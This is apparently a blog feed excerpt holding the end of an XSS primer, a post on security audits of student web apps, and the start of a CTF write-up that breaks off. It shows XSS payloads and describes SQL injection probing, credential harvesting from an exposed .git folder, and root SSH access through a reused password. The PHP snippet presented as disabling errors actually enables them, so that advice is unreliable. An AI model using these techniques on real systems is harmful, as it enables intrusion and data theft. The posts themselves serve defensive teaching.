<p>By default the Chrome browser has XSS auditor enabled with rewrite mode. Rewrite mode is to remove the portion of value that is reflected.</p>
<p>There are three settings available:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">X-XSS-Protection: 0</code> - Which disables the XSS-auditor.</li>
<li><code class="language-plaintext highlighter-rouge">X-XSS-Protection: 1</code> - Which is the default value if nothing is specified.</li>
<li><code class="language-plaintext highlighter-rouge">X-XSS-Protection: 1; mode=block</code> - If reflection is detected, the entire site would be blocked.<br />
Additionally, you could also specify a URL for the browser to report any violation to.</li>
</ol>
<p>Currently, there is no recommended value for this mechanism, and every website should decide based on their individual situation. For more information, you can read this <a href="https://blog.innerht.ml/the-misunderstood-x-xss-protection/">article</a> by @filedescriptor.</p>
<h3 id="sandboxed-domains">Sandboxed domains</h3>
<p><img src="/resources/images/abcs/sandbox.png" alt="" /></p>
<p>What some site does is to host user content on a separate domain where no cookies are stored and deliberately segmented from the main domain. This is commonly seen in Google sites and more commonly seen recently with the use of CDNs to host images/files uploaded by users.</p>
<p>However, without proper segmentation, a vulnerability on the sandbox domain could be used to pivot into the main domain as well. <a href="https://whitton.io/articles/xss-on-facebook-via-png-content-types/">Here’s</a> a bug found by a researcher and how he ultimately turned an XSS on a sandboxed domain into an XSS on *.facebook.com.</p>
<h3 id="svg-elements">SVG elements</h3>
<p>The <strong><svg></strong> element represents the root of a Scalable Vector Graphics (SVG) fragment and a svg file is usually transmitted with a mimetype of <code class="language-plaintext highlighter-rouge">image/svg+xml</code>. What this means is that for some websites, they may accept SVG files as image and as such, accepted in image upload fields.</p>
<p>While embedding a malicious SVG image does not result in JavaScript execution, visiting an SVG file hosted on a site would most likely result in the malicious script executing under the context of the site.</p>
<p>An example of a malicious SVG is:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="nt"><svg</span> <span class="na">id=</span><span class="s">"rectangle"</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">width=</span><span class="s">"100"</span> <span class="na">height=</span><span class="s">"100"</span><span class="nt">></span>
<span class="nt"><script></span>
<span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span>
<span class="nt"></script></span>
<span class="nt"></svg></span>
</pre></td></tr></tbody></table></code></pre></figure>
<h3 id="content-security-policy">Content Security Policy</h3>
<p>Content Security Policy (CSP) was introduced to mitigate XSS. In general, CSP is a policy for a form of whitelisting/blacklisting mechanism. With CSP you are able to enforce rules on the type/location of content that can be loaded by what element. You can also restrict stuff like inline JavaScript execution (i.e. `<button onclick=”…”>).</p>
<h2 id="conclusion">Conclusion</h2>
<p>XSS has been around for a long time and is still considered a very high-impact and pressing issue for many websites. Many large websites are still struggling to remove XSSes and unfortunately there is still no visible solution that could eradicate the entire class of XSS vulnerability completely. However, with proper understanding and defensive mechanisms in place, the number of XSSes vulnerabilities could be potentially brought to a minimum.</p>
<p><a href="https://quanyang.github.io/the-abcs-of-xss/">The ABCs of XSS</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on May 10, 2016.</p>
https://quanyang.github.io/defense-of-the-applications2016-04-22T08:41:52+00:002016-04-22T08:41:52+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>At NUS School of Computing, a project showcase is held nearing to the end of every semester. For this semester, I had no projects in the showcase, I was instead participating under a very different role. Closer to STePS, Dr. Steven Halim invited me to help perform security audit on a dozen websites developed by his students in a module which would be showcased during STePS.</p>
<p>I started manually auditing each and every web application, identifying vulnerabilities from simple ones like XSS to SQLi. I was shocked by some of the coding practices as well as deployment techniques as many of the vulnerabilities found were simple to fix and should have never been there. Therefore I decided to write this post to share the more commonly found vulnerabilties as well as severe ones that should never have existed with good deployment practices.</p>
<p><strong>DISCLAIMER: I am writing this not to shame any of the teams or individuals, but to share information that would be helpful to other people in the same situation.</strong></p>
<h1 id="cross-site-scripting">Cross-Site Scripting</h1>
<p>Out of the 12 websites, three of them had XSS vulnerabilities. All of the three application were vulnerable to XSS due to unsanitized input/output. Had they used some kind of front-end framework like AngularJS, the issue would have been half solved by the framework, and from the way the application is behaving, I am highly suspecting that they are not using any kind of back-end framework (e.g Laravel for PHP), which would have some kind of escaping feature in place.</p>
<p><img src="/resources/images/dota/XSS1.png" alt="" />
This application allows you to create posts, and image elements was allowed in the content along with many other HTML elements. The application also allows for markdown formatting, which provided for another vector for XSS using <code class="language-plaintext highlighter-rouge">[XSS](http://quanyang.github.io "onmouseover=alert(1);//,)</code> as a payload.</p>
<p>The mistake made by them here is to leave the output unsanitized and to provide for markdown formatting without fully understanding the potential for vulnerabilities.</p>
<p><img src="/resources/images/dota/XSS2.png" alt="" />
The second application, similar to the one before, allows you to create posts, and likewise inputs and outputs were not sanitized. After they ‘patched’ the initial XSS vulnerability, I went back to take a second look and realized that all they did was to escape the input using JavaScript before sending the data over to the backend endpoint, which was useless as I could still do a HTTP POST directly with the same payload.</p>
<p><img src="/resources/images/dota/XSS2.5.png" alt="" /></p>
<p>This same application had many other vulnerabilities (you will see later), and the majority of them wouldn’t have existed had they used a proper back-end framework instead of writing from ground-up (observed through the application’s behaviour). At this point in time, there is still an XSS vulnerability on one of the input form. However, this field is not shown to any other user other than yourself, this is also called <strong>self-XSS</strong>, which may or may not be dangerous depending on situation.</p>
<p><img src="/resources/images/dota/XSS3.png" alt="" /></p>
<p>For the third application, the XSS vulnerability was kind of different as I managed to inject the payload in using an unauthenticated endpoint that I found through auditing the JavaScript source code. The endpoint allows me to add new schedules to the calendar and as the outputs were not sanitized, they became sinks for XSS. Likewise, the vulnerability wouldn’t have exist if they had used a framework instead.</p>
<h2 id="take-away-from-xss">Take-away from XSS</h2>
<ol>
<li>Use frameworks if possible, unless you’re very familiar with the language and system. However, even with a framework, you still have to understand and utilize the framework properly in order to prevent simple vulnerabilities and to not introduce more.</li>
<li>Don’t implement markdown formatting without prior experience/knowledge.</li>
<li>Sanitize <strong>ALL</strong> input/output regardless, and if needed, use the white list instead of black list approach.</li>
<li>Never assume that an output would only come from an authorized user. Hidden endpoints could be discovered, and if not secured, would result in vulnerabilities.</li>
</ol>
<h1 id="sql-injection">SQL Injection</h1>
<p>SQL injection wasn’t as easy to find as XSS, but was still present in some of the applications. Out of the 12, three of the sites was/is vulnerable to SQLi. I’d say SQLi could be more severe than XSS as it allows an attacker to dump your entire database, and if suitable, even be able to spawn a shell and perform further exploitation from within the servers.</p>
<p><img src="/resources/images/dota/SQL1.jpeg" alt="" /></p>
<p>From the image, you can obviously see the SQL errors as well as that the output includes the row which was union’ed together by the injected SQL query. Also, the SQL errors helps provide information on what type of OS (Some kind of Linux) as well as the filepath of the web service. For this case, I did not attempt to enumerate further and stopped here as it provided sufficient evidence that the vulnerability exists.</p>
<p><img src="/resources/images/dota/SQL2.png" alt="" width="350px" /><img src="/resources/images/dota/SQL2.5.png" alt="" width="350px" /></p>
<p>This is the same application that was vulnerable to XSS earlier and this time, it is also vulnerable to SQLi with many of the endpoints vulnerable. It is noticeable that the difference between the two reponse is in the number of quotes, which strongly indicates an SQL error that happens when an opening quote is not closed. However, exploitation for this particular application is a little bit more tricky due to the way queries were written. Likewise, SQL injection would not have been possible with the use of a framework or prepared statements.</p>
<p><img src="/resources/images/dota/SQL3.png" alt="" />
<img src="/resources/images/dota/SQL3.5.png" alt="" /></p>
<p>For the third application, initially this same endpoint was vulnerable to directory traversal that allows me to obtain any arbitrary file on the server. However, that has now been patched and I instead found that this other parameter is vulnerable to SQL injection. The way I verify this is interesting. An experienced MySQL developer would know that <code class="language-plaintext highlighter-rouge">;--</code> (I added the semi-colon to make it more obvious) is used for commenting in SQL. However, <code class="language-plaintext highlighter-rouge">;-- </code> only works when there’s a space or line-break after. From the two image, you can see that the page loaded fine (though invalid file) when the space (%20) was added. The two images looks like two different pages but the difference is due to a redirection done by the website.</p>
<h2 id="take-away-from-sql-injection">Take-away from SQL injection</h2>
<ol>
<li>Refer to XSS lesson #1. Sometimes using an ORM (e.g. Eloquent on Laravel) would reduce the need to write queries and as a result, less vulnerabilities introduced.</li>
<li>Please sanitize <strong>ALL</strong> input before using them in a database query.</li>
<li>If not lazy, use prepared statements for all queries. <strong>HIGHLY RECOMMENDED</strong></li>
<li>Never store user password in plaintext, always use hash+salt. For PHP you can use the <code class="language-plaintext highlighter-rouge">hash_password</code> native function to handle the hashing and salting for you.</li>
<li>Never use the root user for DB connections, always create a separate user and provide only the least amount of privileges. This is also called the principle of least privilege.</li>
</ol>
<h1 id="business-logic-vulnerability">Business Logic Vulnerability</h1>
<p>Business logic vulnerability is when there is a lack of or broken security control. In this context, the issue takes place usually on API endpoints where data modification/insertion/selection is done. This was the most common issue amongst the 12 websites; six of them had issues with business logic.</p>
<p>The following is an example using one of the 12 application:
<img src="/resources/images/dota/bl1.png" alt="" />
Here, we are looking at a post made by <code class="language-plaintext highlighter-rouge">quanyang</code> with the post id of 11.
<img src="/resources/images/dota/bl2.png" alt="" />
Here, we have a delete request JavaScript function that was found through auditing the JavaScript source code. Also, notice that I am now logged out of user <code class="language-plaintext highlighter-rouge">quanyang</code>.
<img src="/resources/images/dota/bl3.png" alt="" />
After invoking the deletion function with the post id of 11, we see that the post with id 11 no longer exists. Showing that the deletion works and that the endpoint does not have any access control or authentication in place.</p>
<p>For most of the applications, the possible outcome of an exploitation of a business logic vulnerability would be to have content deleted/modified/viewed by unauthorized users.</p>
<p><img src="/resources/images/dota/bl4.png" alt="" /></p>
<p>In this application, an attacker is able to obtain information on all the modules ever taken by a student simply by changing the matric number respectively. The web application did not put in place any access control or validation to ensure that the matric number belongs to the user currently logged in.</p>
<p>In another application, due to a business logic vulnerability, I was able to plant an XSS payload onto the website without having to be authenticated as an admin or user (this was mentioned earlier).</p>
<h2 id="take-away">Take-away</h2>
<ol>
<li>Never assume that no one would attempt to perform actions outside of what is allowed on the user interface/website.</li>
<li>Security through Obscurity violates Kerckhoffs’ Principle, never assume that no one would find the API endpoints you did not secure.</li>
</ol>
<h1 id="miscellaneous-stuff">Miscellaneous stuff</h1>
<p>Some other miscellaneous issues (not neccessarily vulnerabilities) that provided information which was useful for me to proceed further.</p>
<h3 id="directory-enumeration">Directory Enumeration</h3>
<p><img src="/resources/images/dota/DE.png" alt="" width="400px" /><br />
This would be useful for an attacker to learn more about your website. Some information I could gather would be like what files you have, what backend language you are using, what kind of naming convention do you follow (which can be useful for other stuff), what other pages can I view and in this case where’s your admin page.</p>
<p>Although it is commonly said not to secure a system through obscurity, what it really means is that you should not rely on obscurity as the only layer of defense. A layered defense is always better when implemented and designed properly.</p>
<p>To hide the directory listing, one simple way is to create an <code class="language-plaintext highlighter-rouge">index.html</code> page in every directory. However, this isn’t very elegant and might irk some people. To solve it more elegantly, you could modify the webserver configuration.</p>
<p>For Apache, instead of the following:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="nt"><Directory</span> <span class="err">/</span><span class="na">var</span><span class="err">/</span><span class="na">www</span><span class="nt">/></span>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
<span class="nt"></Directory></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Remove the Indexes option to disable the directory listings.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="nt"><Directory</span> <span class="err">/</span><span class="na">var</span><span class="err">/</span><span class="na">www</span><span class="nt">/></span>
Options FollowSymLinks
AllowOverride None
Require all granted
<span class="nt"></Directory></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Another way is to insert the following into an <code class="language-plaintext highlighter-rouge">.htaccess</code> file inside the directory you would like to disable listing for:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Options -Indexes
</code></pre></div></div>
<h3 id="pages-that-requires-authentication">Pages that requires authentication</h3>
<p>Here’s a pretty rare one, I never thought I’d ever find one of these around. For the following part, I’ll be using the PHP language to explain the behavior, as well as to solve it.</p>
<p>For PHP, here’s how a typical developer would check if a user is login, else redirect.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'userid'</span><span class="p">]))</span> <span class="p">{</span>
<span class="c1">//Check if user is not logged in</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'location: login.php'</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Assume logged in and print some data or information</span>
<span class="k">echo</span> <span class="s1">'FLAG{123}'</span><span class="p">;</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We can see that if we perform a curl to the page, the FLAG is sent to us. This is because curl by default do not follow redirections.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre>→ curl https://<span class="k">**</span>redacted<span class="k">**</span>/test.php <span class="nt">-i</span>
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.1
Date: Sat, 23 Apr 2016 16:42:24 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check<span class="o">=</span>0, pre-check<span class="o">=</span>0
Pragma: no-cache
location: test.php?notloggedin
FLAG<span class="o">{</span>123<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And this was exactly what one of the application did, the following snippet shows the reply from the server when I did a curl to the admin page.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="code"><pre>→ curl **redacted**/php/admin.php
<span class="cp"><!DOCTYPE HTML></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
**Truncated**
<span class="nt"><script></span>
<span class="kd">function</span> <span class="nx">getData</span><span class="p">(</span><span class="nx">sel</span><span class="p">){</span>
<span class="kd">var</span> <span class="nx">value</span><span class="o">=</span><span class="nx">sel</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">"</span><span class="s2">**redacted**</span><span class="dl">"</span><span class="p">,</span>
<span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="na">data</span><span class="p">:</span> <span class="p">{</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">:</span><span class="dl">"</span><span class="s2">**redacted**</span><span class="dl">"</span><span class="p">,</span><span class="dl">'</span><span class="s1">**redacted**</span><span class="dl">'</span><span class="p">:</span><span class="nx">value</span>
<span class="p">},</span>
<span class="na">success</span><span class="p">:</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">){</span>
<span class="kd">var</span> <span class="nx">parsed</span><span class="o">=</span><span class="nx">$</span><span class="p">.</span><span class="nx">parseJSON</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#displayData th</span><span class="dl">"</span><span class="p">).</span><span class="nx">remove</span><span class="p">();</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#displayData tr</span><span class="dl">"</span><span class="p">).</span><span class="nx">remove</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="nx">parsed</span><span class="p">.</span><span class="nx">TableData</span><span class="o">!=</span><span class="kc">null</span><span class="p">){</span>
<span class="o">**</span><span class="nx">Truncated</span><span class="o">**</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="p">}</span>
<span class="o">**</span><span class="nx">Truncated</span><span class="o">**</span>
<span class="nt"></script></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>What they should have done was to make a function call to <code class="language-plaintext highlighter-rouge">die()</code> after the redirection or to encapsulate the entire else logic into an else conditional.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'userid'</span><span class="p">]))</span> <span class="p">{</span>
<span class="c1">//Check if user is not logged in</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'location: login.php'</span><span class="p">);</span>
<span class="k">die</span><span class="p">();</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="c1">//User is logged in</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<h3 id="debugging-informationerror-messages">Debugging Information/Error Messages</h3>
<p>The first thing to do when deploying an application to the production server is to turn off all debugging messages and error messages. Error/debugging messages allows an attacker to learn what kind of framework you’re using, and in some case even backdoors you’ve planted.</p>
<p>For PHP, you can disable PHP errors by calling the following in a PHP script:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_startup_errors'</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="nb">error_reporting</span><span class="p">(</span><span class="kc">E_ALL</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<h1 id="destroying-the-ancients">Destroying the Ancients</h1>
<p>This portion of the post will be about the steps I took to obtain credentials to the server, database and back-end sourcecodes of one of the application. I’ll be focusing on the mistakes made by the developers along the way as I describe the steps.</p>
<p>I was auditing this same application for the second time, and as the application has very little features, the attack surface on the website itself was limited. As such, this was the only application in which I delved into attacking the infrastructure as well.</p>
<p>The first thing to do was to gather more information on the servers. Using Nmap, I could find out what ports are open and what services are running easily.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre>→ nmap <span class="nt">-A</span> <span class="k">**</span>redacted<span class="k">**</span>
Starting Nmap 6.47 <span class="o">(</span> http://nmap.org <span class="o">)</span> at 2016-04-24 01:09 SGT
Nmap scan report <span class="k">for</span> <span class="k">**</span>redacted<span class="k">**</span> <span class="o">(</span><span class="k">**</span>redacted<span class="k">**</span><span class="o">)</span>
Host is up <span class="o">(</span>0.014s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh <span class="o">(</span>protocol 2.0<span class="o">)</span>
| ssh-hostkey:
<span class="k">**</span>redacted<span class="k">**</span>
80/tcp open http Apache httpd 2.4.7 <span class="o">((</span>Ubuntu<span class="o">))</span>
| http-git:
| <span class="k">**</span>redacted<span class="k">**</span>/.git/
| Git repository found!
<span class="k">**</span>truncated<span class="k">**</span>
3306/tcp open mysql MySQL 5.5.46-0ubuntu0.14.04.2
| mysql-info:
<span class="k">**</span>truncated<span class="k">**</span>
8080/tcp open tcpwrapped
<span class="k">**</span>truncated<span class="k">**</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>11.81 seconds
</pre></td></tr></tbody></table></code></pre></figure>
<p>Two very severe mistakes were made by this group.<br />
<strong>1)</strong> Do not ever ever ever <code class="language-plaintext highlighter-rouge">git clone</code> directly into your webserver’s public directory (We’ll see why later).<br />
<strong>2)</strong> Never ever ever expose your MySQL service to the public, unless you know what you’re doing.</p>
<p>So what’s next?<br />
<img src="/resources/images/dota/git.png" alt="" width="300px" /><br />
Obviously, download the entire <code class="language-plaintext highlighter-rouge">.git</code> folder! How to do this? Using <code class="language-plaintext highlighter-rouge">wget</code>. Those unfamiliar with git might ask, so what can you do with the <code class="language-plaintext highlighter-rouge">.git</code> folder?<br />
Here’s what you could do:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre>→ git clone .git <span class="k">**</span>redacted<span class="k">**</span>
Cloning into <span class="s1">'**redacted**'</span>...
<span class="k">done</span><span class="nb">.</span>
→ <span class="nb">ls</span> <span class="k">**</span>redacted<span class="k">**</span>
<span class="k">**</span>truncated<span class="k">**</span>
backup database.sql
backup <span class="k">for </span>basic sql structure.sql
<span class="k">**</span>truncated<span class="k">**</span>
db
<span class="k">**</span>truncated<span class="k">**</span>
login.php
loginFB.php
loginFBCallback.php
<span class="k">**</span>truncated<span class="k">**</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Doing so allows you to obtain the entire content of the Git repository.</p>
<p>What’s next? Do a search for passwords and token! Obviously, the first place is to look at the <code class="language-plaintext highlighter-rouge">db</code> folder.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre>→ cat db/**redacted**.php
<span class="cp"><?php</span> <span class="c1">// connect.php basically contains these commands</span>
<span class="nb">define</span><span class="p">(</span><span class="s2">"db_host"</span><span class="p">,</span> <span class="s2">"**redacted**"</span><span class="p">);</span>
<span class="c1">//define("db_host", "localhost");</span>
<span class="nb">define</span><span class="p">(</span><span class="s2">"db_uid"</span><span class="p">,</span> <span class="s2">"**redacted**"</span><span class="p">);</span>
<span class="nb">define</span><span class="p">(</span><span class="s2">"db_pwd"</span><span class="p">,</span> <span class="s2">"**redacted**"</span><span class="p">);</span>
<span class="nb">define</span><span class="p">(</span><span class="s2">"db_name"</span><span class="p">,</span> <span class="s2">"**redacted**"</span><span class="p">);</span>
<span class="nv">$db</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">mysqli</span><span class="p">(</span><span class="n">db_host</span><span class="p">,</span> <span class="n">db_uid</span><span class="p">,</span> <span class="n">db_pwd</span><span class="p">,</span> <span class="n">db_name</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$db</span><span class="o">-></span><span class="n">connect_errno</span><span class="p">)</span> <span class="c1">// are we connected properly?</span>
<span class="k">exit</span><span class="p">(</span><span class="s2">"Failed to connect to MySQL, exiting this script"</span><span class="p">);</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Tada! Now we have the database password. What do we look for next? Secret tokens for Facebook!</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre>→ cat loginFB.php
<span class="cp"><?php</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">require_once</span> <span class="k">__DIR__</span> <span class="mf">.</span> <span class="s1">'/facebook-php-sdk-v4-5.0.0/src/Facebook/autoload.php'</span><span class="p">;</span>
<span class="nv">$fb</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Facebook\Facebook</span><span class="p">([</span>
<span class="s1">'app_id'</span> <span class="o">=></span> <span class="s1">'**redacted**'</span><span class="p">,</span>
<span class="s1">'app_secret'</span> <span class="o">=></span> <span class="s1">'**redacted**'</span><span class="p">,</span>
<span class="s1">'default_graph_version'</span> <span class="o">=></span> <span class="s1">'v2.5'</span><span class="p">,</span>
<span class="p">]);</span>
<span class="nv">$helper</span> <span class="o">=</span> <span class="nv">$fb</span><span class="o">-></span><span class="nf">getRedirectLoginHelper</span><span class="p">();</span>
<span class="nv">$permissions</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'email'</span><span class="p">,</span> <span class="s1">'public_profile'</span><span class="p">];</span>
<span class="c1">//the loginUrl should only be generated and shown when the user is not logged in</span>
<span class="nv">$loginUrl</span> <span class="o">=</span> <span class="nv">$helper</span><span class="o">-></span><span class="nf">getLoginUrl</span><span class="p">(</span><span class="s1">'**redacted**'</span><span class="p">,</span> <span class="nv">$permissions</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'role'</span><span class="p">])){</span>
<span class="k">echo</span> <span class="s1">'<a href="'</span> <span class="mf">.</span> <span class="nv">$loginUrl</span> <span class="mf">.</span> <span class="s1">'">Log in with Facebook!</a>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>With the application secret, I could make calls to Facebook Graph API on behalf of the application, potentially violating privacy of its users.</p>
<h2 id="take-away-so-far">Take-away so far</h2>
<ul>
<li>Never place <strong>SECRETS/PASSWORDS</strong> in the backend code itself, place them into the environment variables or in a file in another directory which no one can view except root/web-user, and make sure the file is not in your <strong>GIT</strong> repository.</li>
<li>Never use simple passwords, gosh it’s not like you’re going to enter these passwords everyday, please use something stronger and randomly generated. In this case, the passwords were really simple and short.</li>
<li>Do not ever ever ever <code class="language-plaintext highlighter-rouge">git clone</code> directly into your webserver’s public directory (We saw why now).</li>
<li>Never ever ever expose your MySQL service to the public.</li>
</ul>
<p>Thanks to the exposed MySQL service, I can now login directly to the DB and enumerate every piece of user data they have (I didn’t).<br />
Next step, obviously I’ll be trying the same password on their root account of the SSH service.</p>
<p><img src="/resources/images/dota/ssh.png" alt="" /></p>
<p>Hurray! root access! Did you also notice that their server hasn’t been updated for a while.</p>
<p>What did they do wrong? Many areas!</p>
<ol>
<li>Never enable passwords for SSH login (especially if you’re hosting with <a href="https://news.ycombinator.com/item?id=7354289">Digital Ocean</a>). Use SSH keys instead, enabling passwords is bad when you have short passwords. Read <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2">here</a> for steps to enable SSH keys.</li>
<li>Never ever ever re-use passwords.</li>
<li>Never ever ever allow login to root accounts. Always let users get elevated privileges through <code class="language-plaintext highlighter-rouge">sudo</code>, which an administrator could control more discretely/fine-grained.</li>
<li>Update your server regularly!</li>
</ol>
<p>Like many has said, all you need is one weak spot in order for an adversary to enter your system. Even if I did not manage to enter the server through SSH, I could easily pivoted from the Database servers by spawning a reverse shell or planting a backdoor onto their server.</p>
<h1 id="conclusion">Conclusion</h1>
<p>There are many different possible vulnerabilities that might exist on a website and it takes concious effort in order to discover and patch them. However, common vulnerabilities like those mentioned should have been detected earlier and removed. Hopefully this post will help introduce some concept of security as well as some technical details that you might not have known before.</p>
<p>I’d like to iterate that the post is not to shame anyone of the 12 applications and I’d also like to take the chance to thank Dr. Steven Halim for giving me the chance to audit them. :P</p>
<p><a href="https://quanyang.github.io/defense-of-the-applications/">Defense of the Applications.</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on April 22, 2016.</p>
https://quanyang.github.io/plaid-ctf-2016-morset-misc-502016-04-22T06:23:18+00:002016-04-22T06:23:18+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="plaid-ctf-2016---morset">Plaid CTF 2016 - Morset</h1>
<blockquote>
<p><strong>Points:</strong> 50<br />
<strong>Category:</strong> Misc<br />
<strong>Description</strong><br />
A mysterious signal… can you decode it? Running at morset.pwning.xxx:11821</p>
</blockquote>
<hr />
<p>After connecting to the service, you’ll receive some data that looks like morse code. If you enter some reply, you’ll receive more morse code that looks like a response. I also found out that if you send some morse code back, you’ll get a different response from if you send non-morse code characters, which seem to signify that the response is important for getting the flag.</p>
<p>Initially I couldn’t determine the encoding of the messages, not until bo787 mentioned that it could be base36 that I realize it is base36-encoded.</p>
<h1 id="solution">Solution</h1>
<p>Connecting to <code class="language-plaintext highlighter-rouge">morset.pwning.xxx:11821</code> gives us:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>→ nc morset.pwning.xxx 11821
